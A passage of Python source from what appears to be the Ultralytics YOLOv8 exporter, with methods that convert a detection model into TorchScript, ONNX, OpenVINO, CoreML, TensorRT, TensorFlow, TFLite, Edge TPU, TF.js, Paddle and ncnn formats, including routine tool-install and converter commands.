tflite:\n f[7], _ = self.export_tflite(keras_model=keras_model, nms=False, agnostic_nms=self.args.agnostic_nms)\n if edgetpu:\n f[8], _ = self.export_edgetpu(tflite_model=Path(f[5]) / f'{self.file.stem}_full_integer_quant.tflite')\n if tfjs:\n f[9], _ = self.export_tfjs()\n if paddle: # PaddlePaddle\n f[10], _ = self.export_paddle()\n if ncnn: # ncnn\n f[11], _ = self.export_ncnn()\n\n # Finish\n f = [str(x) for x in f if x] # filter out '' and None\n if any(f):\n f = str(Path(f[-1]))\n square = self.imgsz[0] == self.imgsz[1]\n s = '' if square else f\"WARNING тЪая╕П non-PyTorch val requires square images, 'imgsz={self.imgsz}' will not \" \\\n f\"work. Use export 'imgsz={max(self.imgsz)}' if val is required.\"\n imgsz = self.imgsz[0] if square else str(self.imgsz)[1:-1].replace(' ', '')\n predict_data = f'data={data}' if model.task == 'segment' and fmt == 'pb' else ''\n q = 'int8' if self.args.int8 else 'half' if self.args.half else '' # quantization\n LOGGER.info(f'\\nExport complete ({time.time() - t:.1f}s)'\n f\"\\nResults saved to {colorstr('bold', file.parent.resolve())}\"\n f'\\nPredict: yolo predict task={model.task} model={f} imgsz={imgsz} {q} {predict_data}'\n f'\\nValidate: yolo val task={model.task} model={f} imgsz={imgsz} data={data} {q} {s}'\n f'\\nVisualize: https://netron.app')\n\n self.run_callbacks('on_export_end')\n return f # return list of exported files/dirs\n\n @try_export\n def export_torchscript(self, prefix=colorstr('TorchScript:')):\n \"\"\"YOLOv8 TorchScript model export.\"\"\"\n LOGGER.info(f'\\n{prefix} starting export with torch {torch.__version__}...')\n f = self.file.with_suffix('.torchscript')\n\n ts = torch.jit.trace(self.model, self.im, strict=False)\n extra_files = {'config.txt': json.dumps(self.metadata)} # torch._C.ExtraFilesMap()\n if self.args.optimize: # https://pytorch.org/tutorials/recipes/mobile_interpreter.html\n LOGGER.info(f'{prefix} optimizing for mobile...')\n from torch.utils.mobile_optimizer import optimize_for_mobile\n optimize_for_mobile(ts)._save_for_lite_interpreter(str(f), _extra_files=extra_files)\n else:\n ts.save(str(f), _extra_files=extra_files)\n return f, None\n\n @try_export\n def export_onnx(self, prefix=colorstr('ONNX:')):\n \"\"\"YOLOv8 ONNX export.\"\"\"\n requirements = ['onnx>=1.12.0']\n if self.args.simplify:\n requirements += ['onnxsim>=0.4.33', 'onnxruntime-gpu' if torch.cuda.is_available() else 'onnxruntime']\n check_requirements(requirements)\n import onnx # noqa\n\n opset_version = self.args.opset or get_latest_opset()\n LOGGER.info(f'\\n{prefix} starting export with onnx {onnx.__version__} opset {opset_version}...')\n f = str(self.file.with_suffix('.onnx'))\n\n output_names = ['output0', 'output1'] if isinstance(self.model, SegmentationModel) else ['output0']\n dynamic = self.args.dynamic\n if dynamic:\n dynamic = {'images': {0: 'batch', 2: 'height', 3: 'width'}} # shape(1,3,640,640)\n if isinstance(self.model, SegmentationModel):\n dynamic['output0'] = {0: 'batch', 2: 'anchors'} # shape(1, 116, 8400)\n dynamic['output1'] = {0: 'batch', 2: 'mask_height', 3: 'mask_width'} # shape(1,32,160,160)\n elif isinstance(self.model, DetectionModel):\n dynamic['output0'] = {0: 'batch', 2: 'anchors'} # shape(1, 84, 8400)\n\n torch.onnx.export(\n self.model.cpu() if dynamic else self.model, # dynamic=True only compatible with cpu\n self.im.cpu() if dynamic else self.im,\n f,\n verbose=False,\n opset_version=opset_version,\n do_constant_folding=True, # WARNING: DNN inference with torch>=1.12 may require do_constant_folding=False\n input_names=['images'],\n output_names=output_names,\n dynamic_axes=dynamic or None)\n\n # Checks\n model_onnx = onnx.load(f) # load onnx model\n # onnx.checker.check_model(model_onnx) # check onnx model\n\n # Simplify\n if self.args.simplify:\n try:\n import onnxsim\n\n LOGGER.info(f'{prefix} simplifying with onnxsim {onnxsim.__version__}...')\n # subprocess.run(f'onnxsim \"{f}\" \"{f}\"', shell=True)\n model_onnx, check = onnxsim.simplify(model_onnx)\n assert check, 'Simplified ONNX model could not be validated'\n except Exception as e:\n LOGGER.info(f'{prefix} simplifier failure: {e}')\n\n # Metadata\n for k, v in self.metadata.items():\n meta = model_onnx.metadata_props.add()\n meta.key, meta.value = k, str(v)\n\n onnx.save(model_onnx, f)\n return f, model_onnx\n\n @try_export\n def export_openvino(self, prefix=colorstr('OpenVINO:')):\n \"\"\"YOLOv8 OpenVINO export.\"\"\"\n check_requirements('openvino-dev>=2023.0') # requires openvino-dev: https://pypi.org/project/openvino-dev/\n import openvino.runtime as ov # noqa\n from openvino.tools import mo # noqa\n\n LOGGER.info(f'\\n{prefix} starting export with openvino {ov.__version__}...')\n f = str(self.file).replace(self.file.suffix, f'_openvino_model{os.sep}')\n fq = str(self.file).replace(self.file.suffix, f'_int8_openvino_model{os.sep}')\n f_onnx = self.file.with_suffix('.onnx')\n f_ov = str(Path(f) / self.file.with_suffix('.xml').name)\n fq_ov = str(Path(fq) / self.file.with_suffix('.xml').name)\n\n def serialize(ov_model, file):\n \"\"\"Set RT info, serialize and save metadata YAML.\"\"\"\n ov_model.set_rt_info('YOLOv8', ['model_info', 'model_type'])\n ov_model.set_rt_info(True, ['model_info', 'reverse_input_channels'])\n ov_model.set_rt_info(114, ['model_info', 'pad_value'])\n ov_model.set_rt_info([255.0], ['model_info', 'scale_values'])\n ov_model.set_rt_info(self.args.iou, ['model_info', 'iou_threshold'])\n ov_model.set_rt_info([v.replace(' ', '_') for v in self.model.names.values()], ['model_info', 'labels'])\n if self.model.task != 'classify':\n ov_model.set_rt_info('fit_to_window_letterbox', ['model_info', 'resize_type'])\n\n ov.serialize(ov_model, file) # save\n yaml_save(Path(file).parent / 'metadata.yaml', self.metadata) # add metadata.yaml\n\n ov_model = mo.convert_model(f_onnx,\n model_name=self.pretty_name,\n framework='onnx',\n compress_to_fp16=self.args.half) # export\n\n if self.args.int8:\n assert self.args.data, \"INT8 export requires a data argument for calibration, i.e. 'data=coco8.yaml'\"\n check_requirements('nncf>=2.5.0')\n import nncf\n\n def transform_fn(data_item):\n \"\"\"Quantization transform function.\"\"\"\n im = data_item['img'].numpy().astype(np.float32) / 255.0 # uint8 to fp16/32 and 0 - 255 to 0.0 - 1.0\n return np.expand_dims(im, 0) if im.ndim == 3 else im\n\n # Generate calibration data for integer quantization\n LOGGER.info(f\"{prefix} collecting INT8 calibration images from 'data={self.args.data}'\")\n data = check_det_dataset(self.args.data)\n dataset = YOLODataset(data['val'], data=data, imgsz=self.imgsz[0], augment=False)\n quantization_dataset = nncf.Dataset(dataset, transform_fn)\n ignored_scope = nncf.IgnoredScope(types=['Multiply', 'Subtract', 'Sigmoid']) # ignore operation\n quantized_ov_model = nncf.quantize(ov_model,\n quantization_dataset,\n preset=nncf.QuantizationPreset.MIXED,\n ignored_scope=ignored_scope)\n serialize(quantized_ov_model, fq_ov)\n return fq, None\n\n serialize(ov_model, f_ov)\n return f, None\n\n @try_export\n def export_paddle(self, prefix=colorstr('PaddlePaddle:')):\n \"\"\"YOLOv8 Paddle export.\"\"\"\n check_requirements(('paddlepaddle', 'x2paddle'))\n import x2paddle # noqa\n from x2paddle.convert import pytorch2paddle # noqa\n\n LOGGER.info(f'\\n{prefix} starting export with X2Paddle {x2paddle.__version__}...')\n f = str(self.file).replace(self.file.suffix, f'_paddle_model{os.sep}')\n\n pytorch2paddle(module=self.model, save_dir=f, jit_type='trace', input_examples=[self.im]) # export\n yaml_save(Path(f) / 'metadata.yaml', self.metadata) # add metadata.yaml\n return f, None\n\n @try_export\n def export_ncnn(self, prefix=colorstr('ncnn:')):\n \"\"\"\n YOLOv8 ncnn export using PNNX https://github.com/pnnx/pnnx.\n \"\"\"\n check_requirements('git+https://github.com/Tencent/ncnn.git' if ARM64 else 'ncnn') # requires ncnn\n import ncnn # noqa\n\n LOGGER.info(f'\\n{prefix} starting export with ncnn {ncnn.__version__}...')\n f = Path(str(self.file).replace(self.file.suffix, f'_ncnn_model{os.sep}'))\n f_ts = self.file.with_suffix('.torchscript')\n\n pnnx_filename = 'pnnx.exe' if WINDOWS else 'pnnx'\n if Path(pnnx_filename).is_file():\n pnnx = pnnx_filename\n elif (ROOT / pnnx_filename).is_file():\n pnnx = ROOT / pnnx_filename\n else:\n LOGGER.warning(\n f'{prefix} WARNING тЪая╕П PNNX not found. Attempting to download binary file from '\n 'https://github.com/pnnx/pnnx/.\\nNote PNNX Binary file must be placed in current working directory '\n f'or in {ROOT}. See PNNX repo for full installation instructions.')\n _, assets = get_github_assets(repo='pnnx/pnnx', retry=True)\n system = 'macos' if MACOS else 'ubuntu' if LINUX else 'windows' # operating system\n asset = [x for x in assets if system in x][0] if assets else \\\n f'https://github.com/pnnx/pnnx/releases/download/20230816/pnnx-20230816-{system}.zip' # fallback\n asset = attempt_download_asset(asset, repo='pnnx/pnnx', release='latest')\n unzip_dir = Path(asset).with_suffix('')\n pnnx = ROOT / pnnx_filename # new location\n (unzip_dir / pnnx_filename).rename(pnnx) # move binary to ROOT\n shutil.rmtree(unzip_dir) # delete unzip dir\n Path(asset).unlink() # delete zip\n pnnx.chmod(0o777) # set read, write, and execute permissions for everyone\n\n ncnn_args = [\n f'ncnnparam={f / \"model.ncnn.param\"}',\n f'ncnnbin={f / \"model.ncnn.bin\"}',\n f'ncnnpy={f / \"model_ncnn.py\"}', ]\n\n pnnx_args = [\n f'pnnxparam={f / \"model.pnnx.param\"}',\n f'pnnxbin={f / \"model.pnnx.bin\"}',\n f'pnnxpy={f / \"model_pnnx.py\"}',\n f'pnnxonnx={f / \"model.pnnx.onnx\"}', ]\n\n cmd = [\n str(pnnx),\n str(f_ts),\n *ncnn_args,\n *pnnx_args,\n f'fp16={int(self.args.half)}',\n f'device={self.device.type}',\n f'inputshape=\"{[self.args.batch, 3, *self.imgsz]}\"', ]\n f.mkdir(exist_ok=True) # make ncnn_model directory\n LOGGER.info(f\"{prefix} running '{' '.join(cmd)}'\")\n subprocess.run(cmd, check=True)\n\n # Remove debug files\n pnnx_files = [x.split('=')[-1] for x in pnnx_args]\n for f_debug in ('debug.bin', 'debug.param', 'debug2.bin', 'debug2.param', *pnnx_files):\n Path(f_debug).unlink(missing_ok=True)\n\n yaml_save(f / 'metadata.yaml', self.metadata) # add metadata.yaml\n return str(f), None\n\n @try_export\n def export_coreml(self, prefix=colorstr('CoreML:')):\n \"\"\"YOLOv8 CoreML export.\"\"\"\n mlmodel = self.args.format.lower() == 'mlmodel' # legacy *.mlmodel export format requested\n check_requirements('coremltools>=6.0,<=6.2' if mlmodel else 'coremltools>=7.0')\n import coremltools as ct # noqa\n\n LOGGER.info(f'\\n{prefix} starting export with coremltools {ct.__version__}...')\n f = self.file.with_suffix('.mlmodel' if mlmodel else '.mlpackage')\n if f.is_dir():\n shutil.rmtree(f)\n\n bias = [0.0, 0.0, 0.0]\n scale = 1 / 255\n classifier_config = None\n if self.model.task == 'classify':\n classifier_config = ct.ClassifierConfig(list(self.model.names.values())) if self.args.nms else None\n model = self.model\n elif self.model.task == 'detect':\n model = IOSDetectModel(self.model, self.im) if self.args.nms else self.model\n else:\n if self.args.nms:\n LOGGER.warning(f\"{prefix} WARNING тЪая╕П 'nms=True' is only available for Detect models like 'yolov8n.pt'.\")\n # TODO CoreML Segment and Pose model pipelining\n model = self.model\n\n ts = torch.jit.trace(model.eval(), self.im, strict=False) # TorchScript model\n ct_model = ct.convert(ts,\n inputs=[ct.ImageType('image', shape=self.im.shape, scale=scale, bias=bias)],\n classifier_config=classifier_config,\n convert_to='neuralnetwork' if mlmodel else 'mlprogram')\n bits, mode = (8, 'kmeans') if self.args.int8 else (16, 'linear') if self.args.half else (32, None)\n if bits < 32:\n if 'kmeans' in mode:\n check_requirements('scikit-learn') # scikit-learn package required for k-means quantization\n if mlmodel:\n ct_model = ct.models.neural_network.quantization_utils.quantize_weights(ct_model, bits, mode)\n elif bits == 8: # mlprogram already quantized to FP16\n import coremltools.optimize.coreml as cto\n op_config = cto.OpPalettizerConfig(mode='kmeans', nbits=bits, weight_threshold=512)\n config = cto.OptimizationConfig(global_config=op_config)\n ct_model = cto.palettize_weights(ct_model, config=config)\n if self.args.nms and self.model.task == 'detect':\n if mlmodel:\n import platform\n\n # coremltools<=6.2 NMS export requires Python<3.11\n check_version(platform.python_version(), '<3.11', name='Python ', hard=True)\n weights_dir = None\n else:\n ct_model.save(str(f)) # save otherwise weights_dir does not exist\n weights_dir = str(f / 'Data/com.apple.CoreML/weights')\n ct_model = self._pipeline_coreml(ct_model, weights_dir=weights_dir)\n\n m = self.metadata # metadata dict\n ct_model.short_description = m.pop('description')\n ct_model.author = m.pop('author')\n ct_model.license = m.pop('license')\n ct_model.version = m.pop('version')\n ct_model.user_defined_metadata.update({k: str(v) for k, v in m.items()})\n try:\n ct_model.save(str(f)) # save *.mlpackage\n except Exception as e:\n LOGGER.warning(\n f'{prefix} WARNING тЪая╕П CoreML export to *.mlpackage failed ({e}), reverting to *.mlmodel export. '\n f'Known coremltools Python 3.11 and Windows bugs https://github.com/apple/coremltools/issues/1928.')\n f = f.with_suffix('.mlmodel')\n ct_model.save(str(f))\n return f, ct_model\n\n @try_export\n def export_engine(self, prefix=colorstr('TensorRT:')):\n \"\"\"YOLOv8 TensorRT export https://developer.nvidia.com/tensorrt.\"\"\"\n assert self.im.device.type != 'cpu', \"export running on CPU but must be on GPU, i.e. use 'device=0'\"\n try:\n import tensorrt as trt # noqa\n except ImportError:\n if LINUX:\n check_requirements('nvidia-tensorrt', cmds='-U --index-url https://pypi.ngc.nvidia.com')\n import tensorrt as trt # noqa\n\n check_version(trt.__version__, '7.0.0', hard=True) # require tensorrt>=7.0.0\n self.args.simplify = True\n f_onnx, _ = self.export_onnx()\n\n LOGGER.info(f'\\n{prefix} starting export with TensorRT {trt.__version__}...')\n assert Path(f_onnx).exists(), f'failed to export ONNX file: {f_onnx}'\n f = self.file.with_suffix('.engine') # TensorRT engine file\n logger = trt.Logger(trt.Logger.INFO)\n if self.args.verbose:\n logger.min_severity = trt.Logger.Severity.VERBOSE\n\n builder = trt.Builder(logger)\n config = builder.create_builder_config()\n config.max_workspace_size = self.args.workspace * 1 << 30\n # config.set_memory_pool_limit(trt.MemoryPoolType.WORKSPACE, workspace << 30) # fix TRT 8.4 deprecation notice\n\n flag = (1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH))\n network = builder.create_network(flag)\n parser = trt.OnnxParser(network, logger)\n if not parser.parse_from_file(f_onnx):\n raise RuntimeError(f'failed to load ONNX file: {f_onnx}')\n\n inputs = [network.get_input(i) for i in range(network.num_inputs)]\n outputs = [network.get_output(i) for i in range(network.num_outputs)]\n for inp in inputs:\n LOGGER.info(f'{prefix} input \"{inp.name}\" with shape{inp.shape} {inp.dtype}')\n for out in outputs:\n LOGGER.info(f'{prefix} output \"{out.name}\" with shape{out.shape} {out.dtype}')\n\n if self.args.dynamic:\n shape = self.im.shape\n if shape[0] <= 1:\n LOGGER.warning(f\"{prefix} WARNING тЪая╕П 'dynamic=True' model requires max batch size, i.e. 'batch=16'\")\n profile = builder.create_optimization_profile()\n for inp in inputs:\n profile.set_shape(inp.name, (1, *shape[1:]), (max(1, shape[0] // 2), *shape[1:]), shape)\n config.add_optimization_profile(profile)\n\n LOGGER.info(\n f'{prefix} building FP{16 if builder.platform_has_fast_fp16 and self.args.half else 32} engine as {f}')\n if builder.platform_has_fast_fp16 and self.args.half:\n config.set_flag(trt.BuilderFlag.FP16)\n\n del self.model\n torch.cuda.empty_cache()\n\n # Write file\n with builder.build_engine(network, config) as engine, open(f, 'wb') as t:\n # Metadata\n meta = json.dumps(self.metadata)\n t.write(len(meta).to_bytes(4, byteorder='little', signed=True))\n t.write(meta.encode())\n # Model\n t.write(engine.serialize())\n\n return f, None\n\n @try_export\n def export_saved_model(self, prefix=colorstr('TensorFlow SavedModel:')):\n \"\"\"YOLOv8 TensorFlow SavedModel export.\"\"\"\n cuda = torch.cuda.is_available()\n try:\n import tensorflow as tf # noqa\n except ImportError:\n check_requirements(f\"tensorflow{'-macos' if MACOS else '-aarch64' if ARM64 else '' if cuda else '-cpu'}\")\n import tensorflow as tf # noqa\n check_requirements(\n ('onnx', 'onnx2tf>=1.15.4,<=1.17.5', 'sng4onnx>=1.0.1', 'onnxsim>=0.4.33', 'onnx_graphsurgeon>=0.3.26',\n 'tflite_support', 'onnxruntime-gpu' if cuda else 'onnxruntime'),\n cmds='--extra-index-url https://pypi.ngc.nvidia.com') # onnx_graphsurgeon only on NVIDIA\n\n LOGGER.info(f'\\n{prefix} starting export with tensorflow {tf.__version__}...')\n f = Path(str(self.file).replace(self.file.suffix, '_saved_model'))\n if f.is_dir():\n import shutil\n shutil.rmtree(f) # delete output folder\n\n # Export to ONNX\n self.args.simplify = True\n f_onnx, _ = self.export_onnx()\n\n # Export to TF\n tmp_file = f / 'tmp_tflite_int8_calibration_images.npy' # int8 calibration images file\n if self.args.int8:\n verbosity = '--verbosity info'\n if self.args.data:\n # Generate calibration data for integer quantization\n LOGGER.info(f\"{prefix} collecting INT8 calibration images from 'data={self.args.data}'\")\n data = check_det_dataset(self.args.data)\n dataset = YOLODataset(data['val'], data=data, imgsz=self.imgsz[0], augment=False)\n images = []\n for i, batch in enumerate(dataset):\n if i >= 100: # maximum number of calibration images\n break\n im = batch['img'].permute(1, 2, 0)[None] # list to nparray, CHW to BHWC\n images.append(im)\n f.mkdir()\n images = torch.cat(images, 0).float()\n # mean = images.view(-1, 3).mean(0) # imagenet mean [123.675, 116.28, 103.53]\n # std = images.view(-1, 3).std(0) # imagenet std [58.395, 57.12, 57.375]\n np.save(str(tmp_file), images.numpy()) # BHWC\n int8 = f'-oiqt -qt per-tensor -cind images \"{tmp_file}\" \"[[[[0, 0, 0]]]]\" \"[[[[255, 255, 255]]]]\"'\n else:\n int8 = '-oiqt -qt per-tensor'\n else:\n verbosity = '--non_verbose'\n int8 = ''\n\n cmd = f'onnx2tf -i \"{f_onnx}\" -o \"{f}\" -nuo {verbosity} {int8}'.strip()\n LOGGER.info(f\"{prefix} running '{cmd}'\")\n subprocess.run(cmd, shell=True)\n yaml_save(f / 'metadata.yaml', self.metadata) # add metadata.yaml\n\n # Remove/rename TFLite models\n if self.args.int8:\n tmp_file.unlink(missing_ok=True)\n for file in f.rglob('*_dynamic_range_quant.tflite'):\n file.rename(file.with_name(file.stem.replace('_dynamic_range_quant', '_int8') + file.suffix))\n for file in f.rglob('*_integer_quant_with_int16_act.tflite'):\n file.unlink() # delete extra fp16 activation TFLite files\n\n # Add TFLite metadata\n for file in f.rglob('*.tflite'):\n f.unlink() if 'quant_with_int16_act.tflite' in str(f) else self._add_tflite_metadata(file)\n\n return str(f), tf.saved_model.load(f, tags=None, options=None) # load saved_model as Keras model\n\n @try_export\n def export_pb(self, keras_model, prefix=colorstr('TensorFlow GraphDef:')):\n \"\"\"YOLOv8 TensorFlow GraphDef *.pb export https://github.com/leimao/Frozen_Graph_TensorFlow.\"\"\"\n import tensorflow as tf # noqa\n from tensorflow.python.framework.convert_to_constants import convert_variables_to_constants_v2 # noqa\n\n LOGGER.info(f'\\n{prefix} starting export with tensorflow {tf.__version__}...')\n f = self.file.with_suffix('.pb')\n\n m = tf.function(lambda x: keras_model(x)) # full model\n m = m.get_concrete_function(tf.TensorSpec(keras_model.inputs[0].shape, keras_model.inputs[0].dtype))\n frozen_func = convert_variables_to_constants_v2(m)\n frozen_func.graph.as_graph_def()\n tf.io.write_graph(graph_or_graph_def=frozen_func.graph, logdir=str(f.parent), name=f.name, as_text=False)\n return f, None\n\n @try_export\n def export_tflite(self, keras_model, nms, agnostic_nms, prefix=colorstr('TensorFlow Lite:')):\n \"\"\"YOLOv8 TensorFlow Lite export.\"\"\"\n import tensorflow as tf # noqa\n\n LOGGER.info(f'\\n{prefix} starting export with tensorflow {tf.__version__}...')\n saved_model = Path(str(self.file).replace(self.file.suffix, '_saved_model'))\n if self.args.int8:\n f = saved_model / f'{self.file.stem}_int8.tflite' # fp32 in/out\n elif self.args.half:\n f = saved_model / f'{self.file.stem}_float16.tflite' # fp32 in/out\n else:\n f = saved_model / f'{self.file.stem}_float32.tflite'\n return str(f), None\n\n @try_export\n def export_edgetpu(self, tflite_model='', prefix=colorstr('Edge TPU:')):\n \"\"\"YOLOv8 Edge TPU export https://coral.ai/docs/edgetpu/models-intro/.\"\"\"\n LOGGER.warning(f'{prefix} WARNING тЪая╕П Edge TPU known bug https://github.com/ultralytics/ultralytics/issues/1185')\n\n cmd = 'edgetpu_compiler --version'\n help_url = 'https://coral.ai/docs/edgetpu/compiler/'\n assert LINUX, f'export only supported on Linux. See {help_url}'\n if subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, shell=True).returncode != 0:\n LOGGER.info(f'\\n{prefix} export requires Edge TPU compiler. Attempting install from {help_url}')\n sudo = subprocess.run('sudo --version >/dev/null', shell=True).returncode == 0 # sudo installed on system\n for c in ('curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -',\n 'echo \"deb https://packages.cloud.google.com/apt coral-edgetpu-stable main\" | '\n 'sudo tee /etc/apt/sources.list.d/coral-edgetpu.list', 'sudo apt-get update',\n 'sudo apt-get install edgetpu-compiler'):\n subprocess.run(c if sudo else c.replace('sudo ', ''), shell=True, check=True)\n ver = subprocess.run(cmd, shell=True, capture_output=True, check=True).stdout.decode().split()[-1]\n\n LOGGER.info(f'\\n{prefix} starting export with Edge TPU compiler {ver}...')\n f = str(tflite_model).replace('.tflite', '_edgetpu.tflite') # Edge TPU model\n\n cmd = f'edgetpu_compiler -s -d -k 10 --out_dir \"{Path(f).parent}\" \"{tflite_model}\"'\n LOGGER.info(f\"{prefix} running '{cmd}'\")\n subprocess.run(cmd, shell=True)\n self._add_tflite_metadata(f)\n return f, None\n\n @try_export\n def export_tfjs(self, prefix=colorstr('TensorFlow.js:')):\n \"\"\"YOLOv8 TensorFlow.js export.\"\"\"\n check_requirements('tensorflowjs')\n import tensorflow as tf\n import tensorflowjs as tfjs # noqa\n\n LOGGER.info(f'\\n{prefix} starting export with tensorflowjs {tfjs.__version__}...')\n f = str(self.file).replace(self.file.suffix, '_web_model') # js dir\n f_pb = str(self.file.with_suffix('.pb')) # *.pb path\n\n gd = tf.Graph().as_graph_def() # TF GraphDef\n with open(f_pb, 'rb') as file:\n gd.ParseFromString(file.read())\n outputs = ','.join(gd_outputs(gd))\n LOGGER.info(f'\\n{prefix} output node names: {outputs}')\n\n with spaces_in_path(f_pb) as fpb_, spaces_in_path(f) as f_: # exporter can not handle spaces in path\n cmd = f'tensorflowjs_converter --input_format=tf_frozen_model --output_node_names={outputs} \"{fpb_}\" \"{f_}\"'\n LOGGER.info(f\"{prefix} running '{cmd}'\")\n subprocess.run(cmd, shell=True)\n\n if ' ' in f:\n LOGGER.warning(f\"{prefix} WARNING тЪая╕П your model may not work correctly with spaces in path '{f}'.\")\n\n # f_json = Path(f) / 'model.json' # *.json path\n # with open(f_json, 'w') as j: # sort JSON Identity_* in ascending order\n # subst = re.sub(\n # r'{\"outputs\": {\"Identity.?.?\": {\"name\": \"Identity.?.?\"}, '\n # r'\"Identity.?.?\": {\"name\": \"Identity.?.?\"}, '\n # r'\"Identity.?.?\": {\"name\": \"Identity.?.?\"}, '\n # r'\"Identity.?.?\": {\"name\": \"Identity.?.?\"}}}',\n # r'{\"outputs\": {\"Identity\": {\"name\": \"Identity\"}, '\n # r'\"Identity_1\": {\"name\": \"Identity_1\"}, '\n # r'\"Identity_2\": {\"name\": \"Identity_2\"}, '\n # r'\"Identity_3\": {\"name\": \"Identity_3\"}}}',\n # f_json.read_text(),\n # )\n # j.write(subst)\n yaml_save(Path(f) / 'metadata.yaml', self.metadata) # add metadata.yaml\n return f, None\n\n def _add_tflite_metadata(self, file):\n \"\"\"Add metadata to *.tflite models per https://www.tensorflow.org/lite/models/convert/metadata.\"\"\"\n from tflite_support import flatbuffers # noqa\n from tflite_support import metadata as _metadata # noqa\n from tflite_support import metadata_schema_py_generated as _metadata_fb # noqa\n\n # Create model info\n model_meta = _metadata_fb.ModelMetadataT()\n model_meta.name = self.metadata['description']\n model_meta.version = self.metadata['version']\n model_meta.author = self.metadata['author']\n model_meta.license = self.metadata['license']\n\n # Label file\n tmp_file = Path(file).parent / 'temp_meta.txt'\n with open(tmp_file, 'w') as f:\n f.write(str(self.metadata))\n\n label_file = _metadata_fb.AssociatedFileT()\n label_file.name = tmp_file.name\n label_file.type = _metadata_fb.AssociatedFileType.TENSOR_AXIS_LABELS\n\n # Create input info\n input_meta = _metadata_fb.TensorMetadataT()\n input_meta.name = 'image'\n input_meta.description = 'Input image to be detected.'\n input_meta.content = _metadata_fb.ContentT()\n input_meta.content.contentProperties = _metadata_fb.ImagePropertiesT()\n input_meta.content.contentProperties.colorSpace = _metadata_fb.ColorSpaceType.RGB\n input_meta.content.contentPropertiesType = _metadata_fb.ContentProperties.ImageProperties\n\n # Create output info\n output1 = _metadata_fb.TensorMetadataT()\n output1.name = 'output'\n output1.description = 'Coordinates of detected objects, class labels, and confidence score'\n output1.associatedFiles = [label_file]\n if self.model.task == 'segment':\n output2 = _metadata_fb.TensorMetadataT()\n output2.name = 'output'\n output2.description = 'Mask protos'\n output2.associatedFiles = [label_file]\n\n # Create subgraph info\n subgraph = _metadata_fb.SubGraphMetadataT()\n subgraph.inputTensorMetadata = [input_meta]\n subgraph.outputTensorMetadata = [output1, output2] if self.model.task == 'segment' else [output1]\n model_meta.subgraphMetadata = [subgraph]\n\n b = flatbuffers.Builder(0)\n b.Finish(model_meta.Pack(b), _metadata.MetadataPopulator.METADATA_FILE_IDENTIFIER)\n metadata_buf = b.Output()\n\n populator = _metadata.MetadataPopulator.with_model_file(str(file))\n populator.load_metadata_buffer(metadata_buf)\n populator.load_associated_files([str(tmp_file)])\n populator.populate()\n tmp_file.unlink()\n\n def _pipeline_coreml(self, model, weights_dir=None, prefix=colorstr('CoreML Pipeline:')):\n \"\"\"YOLOv8 CoreML pipeline.\"\"\"\n import coremltools as ct # noqa\n\n LOGGER.info(f'{prefix} starting pipeline with coremltools {ct.__version__}...')\n _, _, h, w = list(self.im.shape) # BCHW\n\n # Output shapes\n spec = model.get_spec()\n out0, out1 = iter(spec.description.output)\n if MACOS:\n from PIL import Image\n img = Image.new('RGB', (w, h)) # w=192, h=320\n out = model.predict({'image': img})\n out0_shape = out[out0.name].shape # (3780, 80)\n out1_shape = out[out1.name].shape # (3780, 4)\n else: # linux and windows can not run model.predict(), get sizes from PyTorch model output y\n out0_shape = self.output_shape[2], self.output_shape[1] - 4 # (3780, 80)\n out1_shape = self.output_shape[2], 4 # (3780, 4)\n\n # Checks\n names = self.metadata['names']\n nx, ny = spec.description.input[0].type.imageType.width, spec.description.input[0].type.imageType.height\n _, nc = out0_shape # number of anchors, number of classes\n # _, nc = out0.type.multiArrayType.shape\n assert len(names) == nc, f'{len(names)} names found for nc={nc}' # check\n\n # Define output shapes (missing)\n out0.type.multiArrayType.shape[:] = out0_shape # (3780, 80)\n out1.type.multiArrayType.shape[:] = out1_shape # (3780, 4)\n # spec.neuralNetwork.preprocessing[0].featureName = '0'\n\n # Flexible input shapes\n # from coremltools.models.neural_network import flexible_shape_utils\n # s = [] # shapes\n # s.append(flexible_shape_utils.NeuralNetworkImageSize(320, 192))\n # s.append(flexible_shape_utils.NeuralNetworkImageSize(640, 384)) # (height, width)\n # flexible_shape_utils.add_enumerated_image_sizes(spec, feature_name='image', sizes=s)\n # r = flexible_shape_utils.NeuralNetworkImageSizeRange() # shape ranges\n # r.add_height_range((192, 640))\n # r.add_width_range((192, 640))\n # flexible_shape_utils.update_image_size_range(spec, feature_name='image', size_range=r)\n\n # Print\n # print(spec.description)\n\n # Model from spec\n model = ct.models.MLModel(spec, weights_dir=weights_dir)\n\n # 3. Create NMS protobuf\n nms_spec = ct.proto.Model_pb2.Model()\n nms_spec.specificationVersion = 5\n for i in range(2):\n decoder_output = model._spec.description.output[i].SerializeToString()\n nms_spec.description.input.add()\n nms_spec.description.input[i].ParseFromString(decoder_output)\n nms_spec.description.output.add()\n nms_spec.description.output[i].ParseFromString(decoder_output)\n\n nms_spec.description.output[0].name = 'confidence'\n nms_spec.description.output[1].name = 'coordinates'\n\n output_sizes = [nc, 4]\n for i in range(2):\n ma_type = nms_spec.description.output[i].type.multiArrayType\n ma_type.shapeRange.sizeRanges.add()\n ma_type.shapeRange.sizeRanges[0].lowerBound = 0\n ma_type.shapeRange.sizeRanges[0].upperBound = -1\n ma_type.shapeRange.sizeRanges.add()\n ma_type.shapeRange.sizeRanges[1].lowerBound = output_sizes[i]\n ma_type.shapeRange.sizeRanges[1].upperBound = output_sizes[i]\n del ma_type.shape[:]\n\n nms = nms_spec.nonMaximumSuppression\n nms.confidenceInputFeatureName = out0.name # 1x507x80\n nms.coordinatesInputFeatureName = out1.name # 1x507x4\n nms.confidenceOutputFeatureName = 'confidence'\n nms.coordinatesOutputFeatureName = 'coordinates'\n nms.iouThresholdInputFeatureName = 'iouThreshold'\n nms.confidenceThresholdInputFeatureName = 'confidenceThreshold'\n nms.iouThreshold = 0.45\n nms.confidenceThreshold = 0.25\n nms.pickTop.perClass = True\n nms.stringClassLabels.vector.extend(names.values())\n nms_model = ct.models.MLModel(nms_spec)\n\n # 4. Pipeline models together\n pipeline = ct.models.pipeline.Pipeline(input_features=[('image', ct.models.datatypes.Array(3, ny, nx)),\n ('iouThreshold', ct.models.datatypes.Double()),\n ('confidenceThreshold', ct.models.datatypes.Double())],\n output_features=['confidence', 'coordinates'])\n pipeline.add_model(model)\n pipeline.add_model(nms_model)\n\n # Correct datatypes\n pipeline.spec.description.input[0].ParseFromString(model._spec.description.input[0].SerializeToString())\n 